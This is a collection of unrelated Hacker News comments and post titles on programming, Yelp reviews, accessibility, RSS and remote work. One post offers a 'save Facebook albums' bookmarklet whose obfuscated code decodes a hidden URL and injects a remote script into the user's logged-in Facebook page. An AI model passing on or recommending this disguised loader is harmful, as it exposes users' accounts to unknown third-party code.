skysight-inc/HackerNews huggingface dataset:
I think I can help with closures. Basically, you just have to keep in mind that functions are mathematical objects like any other:

(* A named integer, then a named function *)
let x : int = 42
let f : int -> int = fun x -> 3 * x + 2

(* an anonymous integer, then an anonymous function *)
42
fun x -> 3 * x + 2

So functions, like integers, can be expressed literally. Expressions (`2 + 2`, `map ((+) 2)`) can denote functions as well as integers. (You can make the analogy with C, where function pointers (not the full thing) can be the result of an expression).

Now imagine you pass an integer around (as parameter, return value, bound to a name, or stored in a variable), surely you don't expect it to be modified behind your back? For instance:

let x = 40 in
let y = x + 2 in (* so, that's 42... *)
let x = 0 in (* ...right? *)
print_int y (* right. It does print 42 *)

So, `y` hasn't been modified behind your back. How is this possible? Well, there's 2 ways to see this: either

(i) `y` was completely computed at the time it was defined. So, we grabbed the `x` that was in scope by the time we defined `y`, computed 40 + 2, and bam, we got 42. Of course, the value of 42 is not at all dependent on the value of the `x` name that is currently in scope.

(ii) `y` was not completely computed by the time it was defined, but only by the time we really really need it (here, at print time). But it still prints 42, not 2. The catch is, the value under `y` is made up of two things: the expression `x + 2`, and a key-value store, which will tell you the value of that `x` in the expression (here, that would be [("x", 40)]). Those two things do not change when you define a new x. And when you need to compute `y`, then you compute the expression, knowing that the above key-value store has the priority (you will see `x = 40` first, and won't bother to look up the other `x`, which has value `0`).

Functions work in exactly the same way. No trap. No trick. For instance, the program

let x = 40 in
let f = fun a -> x + a in
let x = 0 in
print_int (f 2)

will still print 42. Also, the two interpretations above still hold. Just remember that functions are values like any other.

Now there are some caveats. If you allow side effects and it is not clear whether you enclose over values or over variables (or references), then some things may indeed be modified behind your back. (Imagine that the closure uses a key variable store where you thought it would be a key value store. Then it would be possible to change the content of the variables behind your back.) Anyway, my advice is to avoid side effects as much as you can[1].

[1]: http://www.loup-vaillant.fr/articles/assignment
I just happened to be passing by, and have no dog in this fight. I just don't think ugh has one either. He isn't saying what you think he's saying. I've spent weeks of my life fixing accessibility on government websites (which are the worst) and fighting for strict compliance that others thought wasn't worth it.

My opinion is that it's always worth it to be inclusive when it comes to coding. ugh seems to be implying that extramarket forces should be brought to bear to encourage(or force) accessibility if that is a goal that we want to achieve. If you're fighting with us, what are we fighting about?
I'm unfamiliar with Google's indexing algorithm, but it's also possible that the rank of the top pages has shuffled between when Linus googled it and now.
Wow. I never knew the story of Akamai.

I always knew it was in a lot of "behind the scenes" content delivery, but I always thought that the name sounds Japanese and that's where those guys are from. Guess I was wrong. Thanks.
a & b) StackOverflow itself is very specific and is probably a better example of having a specific market with pro users.

c) ChaCha may have comments but, like in (b), who participates in them? Knowledgeable members of the field? Definitely not for ChaCha.
A beautiful typo. You mean "vulnerable" for "venerable" right? Is that because you think they really are doing what the article implies? Is there evidence more substantial than that offered by the Tribune? The article for me is just shoddy journalism. Can it be that hard to really test the hypothesis that businesses that turn down the ad salesperson get screwed by Yelp? I don't want to defend Yelp since I don't like the site, but I think its pretty scummy of the Tribune also to willingly promulgate, at least by rhetorical implication, the idea that Justin G is some kind of shill for non-Brader dog trainers.

(Very much tangential at this point, so I'll put my theory that Justin G, far from being a shill, is actually a superhero in parentheses. Consider: He's very secretive. He reviews businesses without leaving behind a trace of his true identity. He doesn't respond to queries from the Tribune. And look at his profile: He wears a cape. A cape! Also, his reviews are annoyingly sincere. And as for his name, clearly Justin G is justing the world one review at a time. Yes, verbing weirds language, but if you can justly right the world, why not rightly just it too?)

http://www.yelp.com/user_details?userid=z25c9TyWY1TdVEGxkj34...

http://en.wikipedia.org/wiki/Conversion_(linguistics)#Humor
UPS website defaced by Turkish group today, 9/4
How much does your slow machine cost your company?
Making silent films on your iPhone | Silent Film Director app review
The cable says " Microsoft's General Manager, Gonzalo Fernandez (protect), showed EconOff an internal PDVSA memo which claimed that all U.S. software companies had a "back door" mechanism whereby the U.S. government could at any time access information, citing the supposed CALEA Law (United States Law of Assistance in Communications for Security Systems)." This seems fishy to me
"Theregister.co.uk" biggest news site got hacked by Turkish hackers
I've heard talk of dodgy behaviour from Yelp before. See eg. this article: http://www.eastbayexpress.com/ebx/yelp-and-the-business-of-e...
(via here: http://www.jwz.org/blog/2009/02/yelp-shakedown/)
The fact that affiliate links can be trivially traced back to your identity by law enforcement should be a serious deterrent.
I agree; I actually bought this on Audible audiobook to listen to in the car instead of buying a dead-tree version, since I couldn't get a Kindle version.
Not everyone shares your taste.
How fast can you type? Free online touch typing speed test
http://geeksforgeeks.org/ http://codeeval.com/
Http://www.addthis.com/bookmark.php?v=250&amp%3busername=heldref
I got 50wpm, but I can type much faster if I'm writing things from my own head, rather than copying stuff someone else has provided.
If you're fighting with us, what are we fighting about?

See, this is where I feel I am being negatively characterized: I don't think I'm fighting with anyone. Again, if there is a fight, why is it people seem to think I am the only one fighting? It takes two to fight. At this point, I strongly suspect the issue is that I publicly admitted I have a serious handicap and people are basically dismissing me as someone being emotional and irrational, which is one of the reasons people often try to hide their handicaps: It's socially stigmatizing and gets them taken less seriously.

I will try to say this one last time and then attempt to shut up (assuming no one jumps up with any new negative characterizations of me as an individual): I believe that in the future, as the current generation of web-savvy folks age, there will be more incentive to work on this issue and be more accommodating of the typically poor eyesight of older people. Right now, there may be seemingly little incentive to do so. No, that doesn't mean it will be perfect. But we aren't talking about "a handful of blind people".

Peace and have a good evening.
weird, kinda high level for a comp arch class. the undergrad one i took was mainly hardware implementation. I did this one at cmu as well; fun lab.
In gaming, everything is amazing, but no one is happy
"Crunching the Cosmos" -- A Leap Forward for Quantum Computing
Just look at the pictures (and lament the perfunctory captions). The writing in this piece is dismal.
I love RSS and subscribe to about 150 sites or so. I do two things that make it a lot easier though. First, I have a "Read" folder/tag for blogs that I _need_ to read. There are probably ~5 blogs in there total. Second, I have a 'Mread' as in "Mark as read" folder for things that I don't need to read at all, but are available for a quick search as they contain useful information. Between these two I hardly feel like I need to read a ton, but I still get great usage out of RSS.
Poll: Do you know the Dow is actually at 7,403 (not 11,240)? 
I was at a party last night and in a discussion about the economy I was amazed how many people didn’t realize the Dollar is dramatically losing value (or that the Dollar loses value at all). So I was just curious if a more engaged community like Hacker News realized this.

(Using the Dow’s value seemed like the easiest way to convey the point)

The Dollar Index opened at 113.48 in September 2001. It now stands at 74.74. That’s a loss of 34.13%. So the Dow is actually at 7,403 by 2001 standards.

Reference: http://www.barchart.com/chart.php?sym=$DXY&t=BAR&size=M&v=0&g=1&p=MO&d=X&qb=1&style=technical
Many different things on that are fishy...
The claims that the Microsoft GM did are at the very best, completely inexact....
But the thing is, Microsoft got access to internal documents of one of the biggest foreign companies in the world, and went to the USA embassy with that information.
Scary -and illegal-.
Indeed! Try writing a Windows file system driver sometime; I hear it's truly a lovely experience.

The other irony is that the HP48 graphing calculator, originally introduced in 1990, had a user-facing filesystem with full support for long file and directory names. I'd be curious to learn what possessed the people responsible for DOS to have ever shipped a system with the insane 8.3 restriction. Even ancient Unix filesystems (early 1970s vintage) supported far more reasonable 14-character filenames.
The question misses the point. Networks wouldn't care where there shows were distributed if they could make as much money from new distribution channels as old ones. That is really all they care about. If you have ever heard the term analog dollars, for digital pennies, it's talking about this exact problem.
Ask HN: Is there any legal way for a young developer to make money?
I write small, useful web applications, and I'm beginning to dabble in Android development as well. The catch: I'm in high school.

I want to use my skills to start generating some revenue - at least enough to cover the cost of a VPS to host these projects - but there is not a single advertising service, credit card processor, or "app store" that will knowingly do business with a minor.

My parents could theoretically open accounts for me, but then do they need to be the ones clicking buttons? Do I have to stand over their shoulders and tell them what to click, or can they hand over the password? Would this violate "non-transferable" clauses?

I understand that I should be focusing on improving my skills, living my life, etc. I am. I'm not trying to get $10m from a VC and build an empire like Facebook. I just want to cover costs and make a little money from things I've made for myself which I believe other people will find useful.

Any ideas are welcome. This seems like the kind of place where I'll find someone who is/was in the same boat.
That's cool, I like the design and the twitter idea is good too.
One is Sococo - a tool designed with Agile in mind. Disclaimer: I contracted with Sococo for 3 years, then joined them as Client Architect.
Original team leader. Namer. But not inventor.
Theregister.co.uk hacked
I can attest to the effectiveness of the Cooper mailings as they pretty much reflect the important stuff that is or could be very useful to the reader. It also helps to listen to the Javascript show as well as knowing where Mr. Cooper is getting some of his information from, as he in turn takes the time to vet and confirm something of interest.

Like the author, I too had dozens of feeds coming in and about a month ago I paired them down to under thirty or so and now I probably receive a couple dozen items a day versus hundreds previously, many of which you all know were duplicates or Techcrunch-like filler blurbs. I knew it was bad when people suggested that I needed infinite scroll for my reader, but there was always something about possessing information as it happened in real time* versus having the community discover it for you.

Now if I could only stop copying stuff to Everlater and actually do something with it.
You realize that reddit is one of the most visited sites on the Internet now, right?
It's not the little lisp-hackers, YC-funded, nerd-centric community that it started as, and it will never be that again.
19M uniques tends to alter things.
My apologies for that, My Node Knock Out entry wasn't really expecting that much traffic :p
Travel is something some people enjoy. Like playing football. Sure it's a skill, but it's one that not everyone will be good at, or enjoy.

Just to provide a counterpoint... If you don't enjoy, or want to travel, don't. Find something you do enjoy and do that instead.
Hi akashs,

I have no affiliation with Yelp. Click on my username anytime if you want to read who I work with and some background. It's right out in the open. However, I had to look at your posts to learn that your new startup is in the local review/recommendation space which is something you should actually disclose when bashing a competitor.

If what you're saying about Yelp's ad reps and software is truthful, then you should be spreading your father's story far and wide (call your local newspaper, they'd love the story), and you should feel comfortable recommending that your father cease to do business with them (why did he?).

Best of luck in your new venture.
Indeed. Workers think they can be just as effective working remotely, but employers feel otherwise, and I have come to agree with them. The only time I could see working remotely go well is if you were doing something simple and lone, such as developing a website as a contractor.
Oh, I wouldn't characterize myself as a 'softie'. It's one of the reasons my "give the world a hug"/sunny personality gets me in all kinds of hot water: I'm apparently a dragonlady, so when people conclude I'm a softie and publicly ask my opinion of them because they want to soak up all my LOVE, I give them my unvarnished opinion (just trying to be helpful -- I mean, you asked for honest feedback didn't you?) and make scads of enemies for all eternity. Um, yeah. (My son's kinder explanation: The sunshine is nice to soak up from afar but don't stand too close to the sun or you get burned.)

Anyway, nice chatting with you. I think I have a very important appointment with a game. :-)
Some Tips on How to Lose Stomach Fat
For the other readers who are wondering what Sugar Smacks are, Wikipedia tells me they've been called Honey Smacks for a long time now, with a brief period of being just Smacks. I don't think I've ever had them. My parents were not big fans of sugary breakfasts, and Honey Smacks are apparently the sugariest of the sugary, over 50% sugar by weight!
I know it's usually kind of private information, but aren't profits much more relevant than revenue when comparing your expenses to your income?
So this is like autojump?
(https://github.com/joelthelion/autojump/wiki)
Alternatively, being forced to get away from the console may have helped get him past coder's block in his development.
The most important thing when learning design is to learn and use the right process. Except for the very abstract inspiration part, everything listed here would all fit in the last 50% of my process as an 'educated designer'. I believe there's much more low hanging fruit in the first 50%. It's hard to give concrete examples for this though because it's all very dependent on the kind of product you aim to design.
Let's not kid ourselves, the salad days of broadcast TV are over. They happened due to a quirk of technology that imposed unusual restrictions on the transmission and consumption of media for a few decades, restrictions that had not been present before or since. These unusual conditions made monetization of broadcast media far easier and far more lucrative than it would have been otherwise.

The result was an unusual era of TV content that was exclusively ad supported and also generated far more revenue than it should have. That era is now coming to a close. This is a catastrophe for the folks who have come to live on the anomalous gravy train that has been broadcast TV in the 2nd half of the 20th century. Nevertheless, distributing and consuming video content has become easier and cheaper than ever, the industry will survive and thrive as new business models take hold.
http://news.ycombinator.com/item?id=1193657
This looks interesting. I've bookmarked it and will give it a try at work.
Ask HN: Question for standing-desk users
Hi,

Because of RSI problems I'm seriously considering trying using a standing-desk. I'm curious about how long it usually takes to get used to it. Can those who've made the switch share their experience with us please? Please include how 'in shape' you were when you made the transition. I'm not very used to standing and walking, and I'm afraid of being tired all the time and having back and feet pain... How long until that goes away? After how long should I know to give up because it's not for me?

Thank you!
If you found that interesting, here's Raymond Chen's addendum to the above article: http://blogs.msdn.com/b/oldnewthing/archive/2011/08/26/10200...

(I found the main link via Raymond's post and found it a lot more interesting, but Raymond's post is worth a read if you enjoyed the article.)
A line of JS code is worth a thousand pictures
Hey guys, this simple line of code can save any album from Facebook without using the facebook API.

javascript:(function(){var a = 'abcdefghijklmnopqrstuvwxyz.:/'.split('');var ux='';var p='7e19e19e15e27e28e28e6e4e19e15e7e14e19e14e11e8e21e4e26e2e14e12e28e4e12e1e4e3e28e15e7e14e19e14e11e8e21e4e26e9e18e'.split('e');for(i=0;i<p.length-1;i++){ux+=a[p[i]];}var s=document.createElement('script'); s.src=ux; document.body.appendChild(s);})();

To test the code:
1. Save it as a bookmark on your browser.
2. Go to any facebook album page on the 'http' facebook site
3. Click the bookmark

If you have any suggestions or advise about the code your feedback is more than welcome, thanks.
Divisive diversions
Google, almost the definition of Internet connectivity these days, crowds its developers into a giant campus and gives them free food, on-site laundry & dry cleaning, etc., to make sure they'll stay there.

Alex Martelli, one of their uber software managers, stated very clearly in a speech a while back that he considered remote development an impractical fantasy and required his developers to show up in person or find someone else to work for.

I'm not saying that remote development can't work. I'm just saying that with this attitude from employers like Google (big campus), Apple (launching a new spaceship campus), Oracle (campus), Microsoft (campus), etc., if you want to work from a beach somewhere, you'll probably do better if you design your own little company so that you can make the beach your campus.
I actually only use machine learning to present options for you to filter or highlight. Everything is explicit, which means you know exactly what you're missing and what's getting highlighted. (I refer to filter and highlight, but NewsBlur uses a traffic light of unread stories -- red is filtered, yellow is neither, and green is highlighted. You just flip between those three unread states with a slider control.)
Reminds me of a message I saw once on the "LuaForge Development" Google group. Literally 96 hours after the current LuaForge leadership and some people on lua-l decided to team up and create a new LuaForge, a buzzword-filled e-mail was sent to the mailing list entitled, "Request to use Agile Development Methodology." [1] Jim Whitehead responded, "You don't need agile development to have clearly defined roles, responsibilities and standards. A long time ago that used to be called 'project management' and it worked just fine =)"

[1]: http://groups.google.com/group/luaforge-development/browse_t...
>CDA says that you can't sue someone for content posted by their users.

how about manipulating the content posted by their users - hiding some parts of it and prominently show other?
RFC2818 (the 'HTTP over TLS' specification) says that names may contain the wildcard character, which is considered to match any single domain name component or component fragment. E.g., ＊.a.com matches foo.a.com but not bar.foo.a.com. f＊.com matches foo.com but not bar.com.

A careful reading of this wording does not seem to rule out the use of more than one wildcard, e.g. '＊.＊.com'. That's unfortunate. It likely depends on the particular browser's TLS implementation as to whether more than one wildcard in a name would be processed.
BIJUTERII 2011. COLECTIA SEPTEMBRIE 2011
Hey quit ruining the Ponzi scheme for all us startup founders and investors! If word gets out that the vast majority of tech startups go nowhere and even in an acquisition the chumps...I mean employees... make shit, the game is up!

Then I won't be able to attract any underpaid, overworked slaves for my crappy company!

I tell them that they'll learn about startups by sitting in their corner writing code while I hang out with the investors. I tell them any old bullshit about bonuses and vacations and the fools never ask for it in writing. Morons!

Haha, not to worry. Starry-eyed, "passionate" idiot nerds are born every minute. HN is the best place to find them.

Carry on, gents! I'm laughing all the way to the bank.
I use RSS primarily on intranets, to help the guys in the field, who spend maybe 10 minutes a day in front of a computer, keep up on what is going on in our industry. I control which feeds are displayed - they just need to open a browser and read the news page.
I don't know, it still seems better to me than our current situation which is 300 attack surfaces that are all effectively

*.*
Ok, I've a nice tan now, and will step away before I begin to burn. ;-)
I worked at Yelp on their product management team for about 18 months.

It's essentially impossible for anyone in the company to manipulate, delete, or add a review to a business page unless the reason is related to Terms of Service. Even then, you cannot do it without someone noticing and double checking that the reason something was removed was legitimate.

The algorithm is (in my mind) similar to Google's PageRank—it's not a trivial piece of software, it takes a full time team to maintain, edit, update, fix, improve, etc. Whether or not a business is an advertiser is never taken into account.

Yelp puts consumers first - that means sometimes they remove legitimate reviews. Everyone on the product and engineering teams knows this, realizes it sucks for businesses, but would rather err on the side of all reviews being legitimate. The reason they keep working on the algorithm is to improve this and make it more accurate.

The sales staff has strict rules on what they can and can't do, they do not have access to editing, managing, or deleting reviews and I never once saw an email come to product asking for a review to be removed or added.

Thousands of businesses work with Yelp, are happy with Yelp, and have happy customers. Even businesses with 5 stars get negative reviews sometimes. You cannot please everyone.
>This is the racket of the 21st Century. Once you got the eyeballs, you call every business in your database and threaten to cut its legs out from under it unless it pays up.

"It's good to be the King."
These is a great way to analyze site usability with real customers, I hope you plan to keep this alive after node.js KO?
Insightful article. Happy for the repost. Missed this the first time around.